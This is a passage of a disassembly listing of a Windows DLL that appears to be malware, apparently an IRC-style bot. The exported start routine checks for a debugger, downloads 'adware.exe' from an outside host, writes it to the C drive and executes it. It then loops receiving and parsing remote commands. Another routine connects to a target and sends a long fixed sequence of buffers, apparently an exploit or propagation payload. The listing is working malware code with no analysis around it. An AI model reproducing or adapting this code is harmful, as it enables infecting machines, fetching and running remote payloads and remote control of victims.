		mov	ecx, [ebp+var_1DC4]
		push	ecx
		call	sub_1000AB26
		add	esp, 8
		push	0		; dwExitCode
		call	ds:ExitThread	; ExitThread
StartAddress	endp

; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10003CD2	proc near		; DATA XREF: .data:1000E00Co
		push	ebp
		mov	ebp, esp
		call	sub_10003CE1
		call	sub_10003CF1
		pop	ebp
		retn
sub_10003CD2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10003CE1	proc near		; CODE XREF: sub_10003CD2+3p
		push	ebp
		mov	ebp, esp
		mov	ecx, offset byte_10012A55
		call	ds:??0Init@ios_base@std@@QAE@XZ	; std::ios_base::Init::Init(void)
		pop	ebp
		retn
sub_10003CE1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10003CF1	proc near		; CODE XREF: sub_10003CD2+8p
		push	ebp
		mov	ebp, esp
		push	offset sub_10003D03 ; void (__cdecl *)()
		call	_atexit
		add	esp, 4
		pop	ebp
		retn
sub_10003CF1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; void __cdecl sub_10003D03()

sub_10003D03	proc near		; DATA XREF: sub_10003CF1+3o
		push	ebp
		mov	ebp, esp
		mov	ecx, offset byte_10012A55
		call	ds:??1Init@ios_base@std@@QAE@XZ	; std::ios_base::Init::~Init(void)
		pop	ebp
		retn
sub_10003D03	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10003D13	proc near		; DATA XREF: .data:1000E010o
		push	ebp
		mov	ebp, esp
		call	sub_10003D22
		call	sub_10003D32
		pop	ebp
		retn
sub_10003D13	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10003D22	proc near		; CODE XREF: sub_10003D13+3p
		push	ebp
		mov	ebp, esp
		mov	ecx, offset byte_10012A54
		call	ds:??0_Winit@std@@QAE@XZ ; std::_Winit::_Winit(void)
		pop	ebp
		retn
sub_10003D22	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10003D32	proc near		; CODE XREF: sub_10003D13+8p
		push	ebp
		mov	ebp, esp
		push	offset sub_10003D44 ; void (__cdecl *)()
		call	_atexit
		add	esp, 4
		pop	ebp
		retn
sub_10003D32	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; void __cdecl sub_10003D44()

sub_10003D44	proc near		; DATA XREF: sub_10003D32+3o
		push	ebp
		mov	ebp, esp
		mov	ecx, offset byte_10012A54
		call	ds:??1_Winit@std@@QAE@XZ ; std::_Winit::~_Winit(void)
		pop	ebp
		retn
sub_10003D44	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10003D60	proc near		; DATA XREF: sub_1000A1A9+2BDo

to		= sockaddr ptr -4E44h
buf		= byte ptr -4E34h
hostshort	= word ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
s		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 4E44h
		call	__alloca_probe
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		mov	dword ptr [ebp+hostshort], ecx
		mov	edx, [eax+4]
		mov	[ebp+var_10], edx
		mov	eax, [eax+8]
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+var_8]
		mov	byte ptr [edx+8], 1
		push	0		; protocol
		push	1		; type
		push	2		; af
		call	ds:socket	; socket
		mov	[ebp+s], eax
		cmp	[ebp+s], 0FFFFFFFFh
		jnz	short loc_10003DB5
		push	0
		call	ds:_endthreadex	; _endthreadex
		add	esp, 4
		xor	eax, eax
		jmp	loc_1000414D
; ---------------------------------------------------------------------------

loc_10003DB5:				; CODE XREF: sub_10003D60+41j
		mov	[ebp+to.sa_family], 2
		mov	eax, [ebp+var_10]
		mov	dword ptr [ebp+to.sa_data+2], eax
		mov	cx, [ebp+hostshort]
		push	ecx		; hostshort
		call	ds:htons	; htons
		mov	word ptr [ebp+to.sa_data], ax
		push	8		; Size
		push	0		; Val
		lea	edx, [ebp+to.sa_data+6]
		push	edx		; Dst
		call	memset	; memset
		add	esp, 0Ch
		push	10h		; namelen
		lea	eax, [ebp+to]
		push	eax		; name
		mov	ecx, [ebp+s]
		push	ecx		; s
		call	ds:connect	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_10003E16
		push	0
		call	ds:_endthreadex	; _endthreadex
		add	esp, 4
		xor	eax, eax
		jmp	loc_1000414D
; ---------------------------------------------------------------------------

loc_10003E16:				; CODE XREF: sub_10003D60+A2j
		push	10h		; tolen
		lea	edx, [ebp+to]
		push	edx		; to
		push	0		; flags
		push	48h		; len
		push	offset aB	; ""
		mov	eax, [ebp+s]
		push	eax		; s
		call	ds:sendto	; sendto
		push	0		; flags
		push	4E20h		; len
		lea	ecx, [ebp+buf]
		push	ecx		; buf
		mov	edx, [ebp+s]
		push	edx		; s
		call	ds:recv	; recv
		push	10h		; tolen
		lea	eax, [ebp+to]
		push	eax		; to
		push	0		; flags
		push	58h		; len
		push	offset byte_10010E7C ; buf
		mov	ecx, [ebp+s]
		push	ecx		; s
		call	ds:sendto	; sendto
		push	0		; flags
		push	4E20h		; len
		lea	edx, [ebp+buf]
		push	edx		; buf
		mov	eax, [ebp+s]
		push	eax		; s
		call	ds:recv	; recv
		push	10h		; tolen
		lea	ecx, [ebp+to]
		push	ecx		; to
		push	0		; flags
		push	0B9h		; len
		push	offset byte_10010ED4 ; buf
		mov	edx, [ebp+s]
		push	edx		; s
		call	ds:sendto	; sendto
		push	0		; flags
		push	4E20h		; len
		lea	eax, [ebp+buf]
		push	eax		; buf
		mov	ecx, [ebp+s]
		push	ecx		; s
		call	ds:recv	; recv
		push	10h		; tolen
		lea	edx, [ebp+to]
		push	edx		; to
		push	0		; flags
		push	108h		; len
		push	offset byte_10010F90 ; buf
		mov	eax, [ebp+s]
		push	eax		; s
		call	ds:sendto	; sendto
		push	0		; flags
		push	4E20h		; len
		lea	ecx, [ebp+buf]
		push	ecx		; buf
		mov	edx, [ebp+s]
		push	edx		; s
		call	ds:recv	; recv
		push	10h		; tolen
		lea	eax, [ebp+to]
		push	eax		; to
		push	0		; flags
		push	3Eh		; len
		push	offset byte_10011098 ; buf
		mov	ecx, [ebp+s]
		push	ecx		; s
		call	ds:sendto	; sendto
		push	0		; flags
		push	4E20h		; len
		lea	edx, [ebp+buf]
		push	edx		; buf
		mov	eax, [ebp+s]
		push	eax		; s
		call	ds:recv	; recv
		push	10h		; tolen
		lea	ecx, [ebp+to]
		push	ecx		; to
		push	0		; flags
		push	60h		; len
		push	offset byte_100110D8 ; buf
		mov	edx, [ebp+s]
		push	edx		; s
		call	ds:sendto	; sendto
		push	0		; flags
		push	4E20h		; len
		lea	eax, [ebp+buf]
		push	eax		; buf
		mov	ecx, [ebp+s]
		push	ecx		; s
		call	ds:recv	; recv
		push	10h		; tolen
		lea	edx, [ebp+to]
		push	edx		; to
		push	0		; flags
		push	96h		; len
		push	offset byte_10011138 ; buf
		mov	eax, [ebp+s]
		push	eax		; s
		call	ds:sendto	; sendto
		push	0		; flags
		push	4E20h		; len
		lea	ecx, [ebp+buf]
		push	ecx		; buf
		mov	edx, [ebp+s]
		push	edx		; s
		call	ds:recv	; recv
		push	10h		; tolen
		lea	eax, [ebp+to]
		push	eax		; to
		push	0		; flags
		push	15Bh		; len
		push	offset byte_100111D0 ; buf
		mov	ecx, [ebp+s]
		push	ecx		; s
		call	ds:sendto	; sendto
		push	0		; flags
		push	4E20h		; len
		lea	edx, [ebp+buf]
		push	edx		; buf
		mov	eax, [ebp+s]
		push	eax		; s
		call	ds:recv	; recv
		push	10h		; tolen
		lea	ecx, [ebp+to]
		push	ecx		; to
		push	0		; flags
		push	15Bh		; len
		push	offset byte_1001132C ; buf
		mov	edx, [ebp+s]
		push	edx		; s
		call	ds:sendto	; sendto
		push	0		; flags
		push	4E20h		; len
		lea	eax, [ebp+buf]
		push	eax		; buf
		mov	ecx, [ebp+s]
		push	ecx		; s
		call	ds:recv	; recv
		push	10h		; tolen
		lea	edx, [ebp+to]
		push	edx		; to
		push	0		; flags
		push	15Bh		; len
		push	offset byte_10011488 ; buf
		mov	eax, [ebp+s]
		push	eax		; s
		call	ds:sendto	; sendto
		push	0		; flags
		push	4E20h		; len
		lea	ecx, [ebp+buf]
		push	ecx		; buf
		mov	edx, [ebp+s]
		push	edx		; s
		call	ds:recv	; recv
		push	10h		; tolen
		lea	eax, [ebp+to]
		push	eax		; to
		push	0		; flags
		push	6Ah		; len
		push	offset byte_100115E4 ; buf
		mov	ecx, [ebp+s]
		push	ecx		; s
		call	ds:sendto	; sendto
		push	0		; flags
		push	4E20h		; len
		lea	edx, [ebp+buf]
		push	edx		; buf
		mov	eax, [ebp+s]
		push	eax		; s
		call	ds:recv	; recv
		push	10h		; tolen
		lea	ecx, [ebp+to]
		push	ecx		; to
		push	0		; flags
		push	15Bh		; len
		push	offset byte_10011650 ; buf
		mov	edx, [ebp+s]
		push	edx		; s
		call	ds:sendto	; sendto
		push	0		; flags
		push	4E20h		; len
		lea	eax, [ebp+buf]
		push	eax		; buf
		mov	ecx, [ebp+s]
		push	ecx		; s
		call	ds:recv	; recv
		push	10h		; tolen
		lea	edx, [ebp+to]
		push	edx		; to
		push	0		; flags
		push	15Bh		; len
		push	offset byte_100117AC ; buf
		mov	eax, [ebp+s]
		push	eax		; s
		call	ds:sendto	; sendto
		push	0		; flags
		push	4E20h		; len
		lea	ecx, [ebp+buf]
		push	ecx		; buf
		mov	edx, [ebp+s]
		push	edx		; s
		call	ds:recv	; recv
		push	10h		; tolen
		lea	eax, [ebp+to]
		push	eax		; to
		push	0		; flags
		push	15Bh		; len
		push	offset byte_10011908 ; buf
		mov	ecx, [ebp+s]
		push	ecx		; s
		call	ds:sendto	; sendto
		push	0		; flags
		push	4E20h		; len
		lea	edx, [ebp+buf]
		push	edx		; buf
		mov	eax, [ebp+s]
		push	eax		; s
		call	ds:recv	; recv
		push	10h		; tolen
		lea	ecx, [ebp+to]
		push	ecx		; to
		push	0		; flags
		push	6Ah		; len
		push	offset byte_10011A64 ; buf
		mov	edx, [ebp+s]
		push	edx		; s
		call	ds:sendto	; sendto
		push	0D431h		; hostshort
		mov	eax, [ebp+var_10]
		push	eax		; int
		call	sub_10009CEB
		add	esp, 8
		mov	ecx, [ebp+s]
		push	ecx		; s
		call	ds:closesocket	; closesocket
		push	0
		call	ds:_endthreadex	; _endthreadex
		add	esp, 4
		xor	eax, eax

loc_1000414D:				; CODE XREF: sub_10003D60+50j
					; sub_10003D60+B1j
		mov	esp, ebp
		pop	ebp
		retn	4
sub_10003D60	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10004153	proc near		; DATA XREF: .data:1000E014o
		push	ebp
		mov	ebp, esp
		call	sub_10004162
		call	sub_10004172
		pop	ebp
		retn
sub_10004153	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10004162	proc near		; CODE XREF: sub_10004153+3p
		push	ebp
		mov	ebp, esp
		mov	ecx, offset byte_10012A65
		call	ds:??0Init@ios_base@std@@QAE@XZ	; std::ios_base::Init::Init(void)
		pop	ebp
		retn
sub_10004162	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10004172	proc near		; CODE XREF: sub_10004153+8p
		push	ebp
		mov	ebp, esp
		push	offset sub_10004184 ; void (__cdecl *)()
		call	_atexit
		add	esp, 4
		pop	ebp
		retn
sub_10004172	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; void __cdecl sub_10004184()

sub_10004184	proc near		; DATA XREF: sub_10004172+3o
		push	ebp
		mov	ebp, esp
		mov	ecx, offset byte_10012A65
		call	ds:??1Init@ios_base@std@@QAE@XZ	; std::ios_base::Init::~Init(void)
		pop	ebp
		retn
sub_10004184	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10004194	proc near		; DATA XREF: .data:1000E018o
		push	ebp
		mov	ebp, esp
		call	sub_100041A3
		call	sub_100041B3
		pop	ebp
		retn
sub_10004194	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_100041A3	proc near		; CODE XREF: sub_10004194+3p
		push	ebp
		mov	ebp, esp
		mov	ecx, offset byte_10012A64
		call	ds:??0_Winit@std@@QAE@XZ ; std::_Winit::_Winit(void)
		pop	ebp
		retn
sub_100041A3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_100041B3	proc near		; CODE XREF: sub_10004194+8p
		push	ebp
		mov	ebp, esp
		push	offset sub_100041C5 ; void (__cdecl *)()
		call	_atexit
		add	esp, 4
		pop	ebp
		retn
sub_100041B3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; void __cdecl sub_100041C5()

sub_100041C5	proc near		; DATA XREF: sub_100041B3+3o
		push	ebp
		mov	ebp, esp
		mov	ecx, offset byte_10012A64
		call	ds:??1_Winit@std@@QAE@XZ ; std::_Winit::~_Winit(void)
		pop	ebp
		retn
sub_100041C5	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; BOOL __stdcall DllMain(HINSTANCE hinstDLL,DWORD fdwReason,LPVOID lpvReserved)

_DllMain@12	proc near		; CODE XREF: DllEntryPoint+4Bp

hModule		= dword	ptr  8
fdwReason	= dword	ptr  0Ch
lpvReserved	= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+fdwReason], 1
		jz	short loc_100041F0
		mov	eax, 1
		jmp	short loc_10004209
; ---------------------------------------------------------------------------

loc_100041F0:				; CODE XREF: DllMain(x,x,x)+7j
		push	100h		; nSize
		push	offset ExistingFileName	; lpFilename
		mov	eax, [ebp+hModule]
		push	eax		; hModule
		call	ds:GetModuleFileNameA	; GetModuleFileNameA
		mov	eax, 1

loc_10004209:				; CODE XREF: DllMain(x,x,x)+Ej
		pop	ebp
		retn	0Ch
_DllMain@12	endp

; Exported entry   1. start

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

		public start

start		proc near

Str		= byte ptr -1810h
File		= dword	ptr -17ACh
WSAData		= WSAData ptr -17A8h
buf		= byte ptr -1618h
var_618		= dword	ptr -618h
Count		= dword	ptr -614h
Source		= byte ptr -610h
var_410		= dword	ptr -410h
Dst		= byte ptr -40Ch
var_20C		= dword	ptr -20Ch
var_208		= dword	ptr -208h
Dest		= byte ptr -204h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		mov	eax, 1810h
		call	__alloca_probe
		push	ebx
		push	esi
		push	edi
		push	eax
		mov	eax, large fs:18h
		mov	eax, [eax+30h]
		movzx	eax, byte ptr [eax+2]
		test	eax, eax
		jnz	short loc_10004231
		jmp	short $+2

loc_10004231:				; CODE XREF: start+20j
		pop	eax
		push	0
		push	0
		push	0
		push	0
		push	offset aWebreader ; "WebReader"
		call	ds:InternetOpenA	; InternetOpenA
		mov	[ebp+var_4], eax
		push	0
		push	0
		push	0
		push	0
		push	offset aHttpAdware_rxm ; "http://adware.rxmods.net/adware.exe"
		mov	eax, [ebp+var_4]
		push	eax
		call	ds:InternetOpenUrlA	; InternetOpenUrlA
		mov	[ebp+var_20C], eax
		push	offset Mode	; "wb"
		push	offset aCAdware_exe ; "c:\\adware.exe"
		call	ds:fopen	; fopen
		add	esp, 8
		mov	[ebp+File], eax

loc_1000427E:				; CODE XREF: start+BBj
		lea	ecx, [ebp+Count]
		push	ecx
		push	62h
		lea	edx, [ebp+Str]
		push	edx
		mov	eax, [ebp+var_20C]
		push	eax
		call	ds:InternetReadFile	; InternetReadFile
		test	eax, eax
		jz	short loc_100042CA
		cmp	[ebp+Count], 0
		jz	short loc_100042CA
		mov	ecx, [ebp+File]
		push	ecx		; File
		mov	edx, [ebp+Count]
		push	edx		; Count
		push	1		; Size
		lea	eax, [ebp+Str]
		push	eax		; Str
		call	ds:fwrite	; fwrite
		add	esp, 10h
		jmp	short loc_1000427E
; ---------------------------------------------------------------------------

loc_100042CA:				; CODE XREF: start+90j	start+99j
		mov	ecx, [ebp+File]
		push	ecx		; File
		call	ds:fclose	; fclose
		add	esp, 4
		push	1		; nShowCmd
		push	0		; lpDirectory
		push	0		; lpParameters
		push	offset File	; "c:\\adware.exe"
		push	offset Operation ; "open"
		push	0		; hwnd
		call	ds:ShellExecuteA	; ShellExecuteA
		push	2		; uMode
		call	ds:SetErrorMode	; SetErrorMode
		call	ds:GetTickCount	; GetTickCount
		push	eax		; Seed
		call	ds:srand	; srand
		add	esp, 4
		call	sub_1000504C
		call	sub_10004CE4
		call	sub_1000ABF3
		push	7530h		; dwMilliseconds
		push	offset Name	; lpName
		push	0		; bInitialOwner
		push	0		; lpMutexAttributes
		call	ds:CreateMutexA	; CreateMutexA
		push	eax		; hHandle
		call	ds:WaitForSingleObject	; WaitForSingleObject
		cmp	eax, 102h
		jnz	short loc_10004340
		jmp	loc_1000457A
; ---------------------------------------------------------------------------

loc_10004340:				; CODE XREF: start+12Cj
		push	10h		; Size
		push	0		; Val
		push	offset Dest	; Dst
		call	memset	; memset
		add	esp, 0Ch
		push	10h		; Size
		push	0		; Val
		push	offset byte_1002C5D8 ; Dst
		call	memset	; memset
		add	esp, 0Ch
		push	80h		; Size
		push	0		; Val
		push	offset byte_10012A70 ; Dst
		call	memset	; memset
		add	esp, 0Ch
		push	200h		; Size
		push	0		; Val
		lea	edx, [ebp+Dst]
		push	edx		; Dst
		call	memset	; memset
		add	esp, 0Ch
		lea	eax, [ebp+WSAData]
		push	eax		; lpWSAData
		push	202h		; wVersionRequested
		call	ds:WSAStartup	; WSAStartup
		test	eax, eax
		jz	short loc_100043A7
		jmp	loc_1000457A
; ---------------------------------------------------------------------------

loc_100043A7:				; CODE XREF: start+193j
		call	sub_10004BB5

loc_100043AC:				; CODE XREF: start+1B8j
		call	sub_10007005
		and	eax, 0FFh
		test	eax, eax
		jnz	short loc_100043C7
		push	1388h		; dwMilliseconds
		call	ds:Sleep	; Sleep
		jmp	short loc_100043AC
; ---------------------------------------------------------------------------

loc_100043C7:				; CODE XREF: start+1ABj
					; start:loc_10004423j ...
		mov	ecx, 1
		test	ecx, ecx
		jz	loc_1000457A
		push	0		; flags
		push	1000h		; len
		lea	edx, [ebp+buf]
		push	edx		; buf
		mov	eax, s
		push	eax		; s
		call	ds:recv	; recv
		mov	[ebp+var_618], eax
		cmp	[ebp+var_618], 0
		jg	short loc_10004425
		push	1388h		; dwMilliseconds
		call	ds:Sleep	; Sleep

loc_10004408:				; CODE XREF: start+214j
		call	sub_10007005
		and	eax, 0FFh
		test	eax, eax
		jnz	short loc_10004423
		push	1388h		; dwMilliseconds
		call	ds:Sleep	; Sleep
		jmp	short loc_10004408
; ---------------------------------------------------------------------------

loc_10004423:				; CODE XREF: start+207j
		jmp	short loc_100043C7
; ---------------------------------------------------------------------------

loc_10004425:				; CODE XREF: start+1EEj
		mov	ecx, [ebp+var_618]
		mov	[ebp+ecx+buf], 0
		push	0Ah
		lea	edx, [ebp+buf]
		push	edx
		call	sub_10004581
		add	esp, 8
		mov	[ebp+var_208], eax
		mov	[ebp+var_410], 0
		jmp	short loc_10004465
; ---------------------------------------------------------------------------

loc_10004456:				; CODE XREF: start+338j start+363j
		mov	eax, [ebp+var_410]
		add	eax, 1
		mov	[ebp+var_410], eax

loc_10004465:				; CODE XREF: start+247j
		mov	ecx, [ebp+var_410]
		cmp	ecx, [ebp+var_208]
		jge	loc_10004575
		push	200h		; Count
		push	0Ah
		mov	edx, [ebp+var_410]
		add	edx, 1
		push	edx
		lea	eax, [ebp+buf]
		push	eax
		call	sub_10004799
		add	esp, 0Ch
		push	eax		; Source
		lea	ecx, [ebp+Dest]
		push	ecx		; Dest
		call	ds:strncpy	; strncpy
		add	esp, 0Ch
		movsx	edx, [ebp+Dst]
		test	edx, edx
		jz	short loc_1000450D
		lea	eax, [ebp+Dest]
		push	eax
		lea	ecx, [ebp+Dst]
		push	ecx
		push	offset aSS_2	; "%s%s"
		push	200h		; Count
		lea	edx, [ebp+Source]
		push	edx		; Dest
		call	ds:_snprintf	; _snprintf
		add	esp, 14h
		push	200h		; Count
		lea	eax, [ebp+Source]
		push	eax		; Source
		lea	ecx, [ebp+Dest]
		push	ecx		; Dest
		call	ds:strncpy	; strncpy
		add	esp, 0Ch
		push	200h		; Size
		push	0		; Val
		lea	edx, [ebp+Dst]
		push	edx		; Dst
		call	memset	; memset
		add	esp, 0Ch

loc_1000450D:				; CODE XREF: start+2A4j
		lea	eax, [ebp+Dest]
		push	eax		; Str
		call	strlen	; strlen
		add	esp, 4
		movsx	ecx, byte ptr [ebp+eax+var_208+3]
		cmp	ecx, 0Dh
		jz	short loc_1000454A
		push	200h		; Count
		lea	edx, [ebp+Dest]
		push	edx		; Source
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	ds:strncpy	; strncpy
		add	esp, 0Ch
		jmp	loc_10004456
; ---------------------------------------------------------------------------

loc_1000454A:				; CODE XREF: start+31Aj
		lea	ecx, [ebp+Dest]
		push	ecx		; Str
		call	strlen	; strlen
		add	esp, 4
		mov	byte ptr [ebp+eax+var_208+3], 0
		lea	edx, [ebp+Dest]
		push	edx		; Str
		call	sub_10007424
		add	esp, 4
		jmp	loc_10004456
; ---------------------------------------------------------------------------

loc_10004575:				; CODE XREF: start+264j
		jmp	loc_100043C7
; ---------------------------------------------------------------------------

loc_1000457A:				; CODE XREF: start+12Ej start+195j ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
start		endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10004581	proc near		; CODE XREF: start+22Fp
					; sub_10007424+3Dp ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	[ebp+var_8], 0
		mov	[ebp+var_C], 0
		mov	byte ptr [ebp+var_4], 0
		jmp	short loc_100045A4
; ---------------------------------------------------------------------------

loc_1000459B:				; CODE XREF: sub_10004581:loc_100045FFj
		mov	eax, [ebp+var_8]
		add	eax, 1
		mov	[ebp+var_8], eax

loc_100045A4:				; CODE XREF: sub_10004581+18j
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		movsx	edx, byte ptr [ecx]
		test	edx, edx
		jz	short loc_10004601
		mov	eax, [ebp+var_4]
		and	eax, 0FFh
		test	eax, eax
		jz	short loc_100045D4
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		movsx	edx, byte ptr [ecx]
		movsx	eax, [ebp+arg_4]
		cmp	edx, eax
		jnz	short loc_100045D4
		mov	byte ptr [ebp+var_4], 0
		jmp	short loc_100045FF
; ---------------------------------------------------------------------------

loc_100045D4:				; CODE XREF: sub_10004581+3Aj
					; sub_10004581+4Bj
		mov	ecx, [ebp+var_4]
		and	ecx, 0FFh
		test	ecx, ecx
		jnz	short loc_100045FF
		mov	edx, [ebp+arg_0]
		add	edx, [ebp+var_8]
		movsx	eax, byte ptr [edx]
		movsx	ecx, [ebp+arg_4]
		cmp	eax, ecx
		jz	short loc_100045FF
		mov	byte ptr [ebp+var_4], 1
		mov	edx, [ebp+var_C]
		add	edx, 1
		mov	[ebp+var_C], edx

loc_100045FF:				; CODE XREF: sub_10004581+51j
					; sub_10004581+5Ej ...
		jmp	short loc_1000459B
; ---------------------------------------------------------------------------

loc_10004601:				; CODE XREF: sub_10004581+2Ej
		mov	eax, [ebp+var_C]
		mov	esp, ebp
		pop	ebp
		retn
sub_10004581	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10004608	proc near		; CODE XREF: sub_10006A3B+22p
					; sub_10006BAC+23p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		cmp	eax, [ebp+arg_4]
		jnz	short loc_10004618
		mov	eax, [ebp+arg_0]
		jmp	short loc_1000462F
; ---------------------------------------------------------------------------

loc_10004618:				; CODE XREF: sub_10004608+9j
		call	ds:rand	; rand
		mov	ecx, [ebp+arg_4]
		sub	ecx, [ebp+arg_0]
		add	ecx, 1
		cdq
		idiv	ecx
		mov	eax, edx
		add	eax, [ebp+arg_0]

loc_1000462F:				; CODE XREF: sub_10004608+Ej
		pop	ebp
		retn
sub_10004608	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10004631	proc near		; CODE XREF: sub_10004987+1F1p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		call	sub_1000478C
		mov	[ebp+var_20], eax
		mov	[ebp+var_1C], edx
		push	3E8h		; dwMilliseconds
		call	ds:Sleep	; Sleep
		call	sub_1000478C
		sub	eax, [ebp+var_20]
		sbb	edx, [ebp+var_1C]
		push	0
		push	186A0h
		push	edx
		push	eax
		call	__aulldiv
		push	0
		push	0Ah
		push	edx
		push	eax
		call	__aulldiv
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], edx
		push	0
		push	64h
		mov	eax, [ebp+var_4]
		push	eax
		mov	ecx, [ebp+var_8]
		push	ecx
		call	__aullrem
		mov	[ebp+var_18], eax
		mov	[ebp+var_14], edx
		mov	[ebp+var_10], 64h
		mov	[ebp+var_C], 0
		cmp	[ebp+var_14], 0
		ja	short loc_100046B8
		jb	short loc_100046AA
		cmp	[ebp+var_18], 50h
		jnb	short loc_100046B8

loc_100046AA:				; CODE XREF: sub_10004631+71j
		mov	[ebp+var_10], 4Bh
		mov	[ebp+var_C], 0

loc_100046B8:				; CODE XREF: sub_10004631+6Fj
					; sub_10004631+77j
		cmp	[ebp+var_14], 0
		ja	short loc_100046D4
		jb	short loc_100046C6
		cmp	[ebp+var_18], 47h
		jnb	short loc_100046D4

loc_100046C6:				; CODE XREF: sub_10004631+8Dj
		mov	[ebp+var_10], 42h
		mov	[ebp+var_C], 0

loc_100046D4:				; CODE XREF: sub_10004631+8Bj
					; sub_10004631+93j
		cmp	[ebp+var_14], 0
		ja	short loc_100046F0
		jb	short loc_100046E2
		cmp	[ebp+var_18], 37h
		jnb	short loc_100046F0

loc_100046E2:				; CODE XREF: sub_10004631+A9j
		mov	[ebp+var_10], 32h
		mov	[ebp+var_C], 0

loc_100046F0:				; CODE XREF: sub_10004631+A7j
					; sub_10004631+AFj
		cmp	[ebp+var_14], 0
		ja	short loc_1000470C
		jb	short loc_100046FE
		cmp	[ebp+var_18], 26h
		jnb	short loc_1000470C

loc_100046FE:				; CODE XREF: sub_10004631+C5j
		mov	[ebp+var_10], 21h
		mov	[ebp+var_C], 0

loc_1000470C:				; CODE XREF: sub_10004631+C3j
					; sub_10004631+CBj
		cmp	[ebp+var_14], 0
		ja	short loc_10004728
		jb	short loc_1000471A
		cmp	[ebp+var_18], 1Eh
		jnb	short loc_10004728

loc_1000471A:				; CODE XREF: sub_10004631+E1j
		mov	[ebp+var_10], 19h
		mov	[ebp+var_C], 0

loc_10004728:				; CODE XREF: sub_10004631+DFj
					; sub_10004631+E7j
		cmp	[ebp+var_14], 0
		ja	short loc_10004744
		jb	short loc_10004736
		cmp	[ebp+var_18], 0Ah
		jnb	short loc_10004744

loc_10004736:				; CODE XREF: sub_10004631+FDj
		mov	[ebp+var_10], 0
		mov	[ebp+var_C], 0

loc_10004744:				; CODE XREF: sub_10004631+FBj
					; sub_10004631+103j
		mov	edx, [ebp+var_8]
		sub	edx, [ebp+var_18]
		mov	eax, [ebp+var_4]
		sbb	eax, [ebp+var_14]
		add	edx, [ebp+var_10]
		adc	eax, [ebp+var_C]
		mov	[ebp+var_8], edx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_8]
		mov	esp, ebp
		pop	ebp
		retn
sub_10004631	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_10004763(char	*name)

sub_10004763	proc near		; CODE XREF: sub_10007005+1BBp
					; sub_10007424+2DBp ...

var_4		= dword	ptr -4
name		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+name]
		push	eax		; name
		call	ds:gethostbyname	; gethostbyname
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_1000477E
		xor	eax, eax
		jmp	short loc_10004788
; ---------------------------------------------------------------------------

loc_1000477E:				; CODE XREF: sub_10004763+15j
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+0Ch]
		mov	eax, [edx]
		mov	eax, [eax]

loc_10004788:				; CODE XREF: sub_10004763+19j
		mov	esp, ebp
		pop	ebp
		retn
sub_10004763	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1000478C	proc near		; CODE XREF: sub_10004631+6p
					; sub_10004631+1Cp
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		rdtsc
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_1000478C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


